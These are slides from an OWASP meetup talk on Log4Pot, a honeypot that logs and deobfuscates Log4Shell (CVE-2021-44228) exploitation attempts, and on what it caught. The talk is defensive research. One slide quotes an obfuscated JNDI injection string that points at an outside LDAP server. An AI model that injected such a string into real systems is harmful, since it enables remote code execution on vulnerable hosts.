Honeypotting Log4Shell Exploitation Attempts

Thomas Patzke
OWASP Meetup Hamburg
2022-01-13
Agenda

• Short introduction to CVE-2021-44228 (aka Log4Shell)
• Why building a honeypot? 🍯
• Results
• Lessons learned and outlook
Log4Shell (CVE-2021-44228)

- Log4j: Java logging framework
- Since early 2.x releases Log4j interpolates so-called lookup expressions, e.g. ${env:PATH} results in the content of $PATH in the log message.
- Java Naming and Directory Interface (JNDI) is also supported in lookup expressions: ${jndi:ldap://...}
- This instructs JNDI to make a LDAP lookup that can contain a reference to a class or a serialized Java object.
- The class is loaded via HTTP or the object is deserialized and instantiated -> Code execution
- Exploitable via input -> Remote code execution
The defenders view

• Huge attack surface that spreads across security boundaries and perimeters. Not restricted to web apps.
• High prevalence of Log4j, often not updated dependency.
• Mass exploitation scanning starts short after vulnerability disclosure.
• Slower adoption by vulnerability scanning tools, incremental improvement.
• Unclear attack vectors, e.g. it’s still unclear if code execution can be achieved with DNS.
• Lots of obfuscation opportunities, recursive obfuscation.

${{::j}{{::n}{{::d}{{::i}{{::l}{{::a}{{::p}:135.148.130.60:1389/...}}}}}}}}$
Log4Pot

• Low-interaction honeypot for Log4Shell exploitation.
• Deobfuscates and logs attack expressions.
  ➢ Callback URLs for identification of vulnerable exploited systems.
  ➢ Observation of attack techniques and obfuscation schemes for tweaking of defenses (IPS/WAF rules)
• Extracts URLs, downloads payloads recursively
  ➢ Observation of attackers intentions.
  ➢ Identification of targeted or unusual activity.
• [https://github.com/thomaspatzke/Log4Pot](https://github.com/thomaspatzke/Log4Pot)
Results

• Observed various attack techniques and intentions
  • Default exploits
  • Increased obfuscation, nesting
  • Customized exploit classes
  • Attempts to deploy Metasploit Meterpreter payloads or reverse shells.
  • Cryptominers
  • Botnet expansion (Mirai)
  • Reconnaissance and vulnerability scanning

• >490 payloads collected
Lessons Learned

• Open source early
• Host in different environments
• Attacks differ
  • Domains vs IPs
  • Random cloud IPs vs corporate ranges
  • Ports and applications
The End

• Thanks to all Log4Pot contributors!
• [https://github.com/thomaspatzke/Log4Pot](https://github.com/thomaspatzke/Log4Pot)

Questions?
• Now!
• [thomas@patzke.org](mailto:thomas@patzke.org)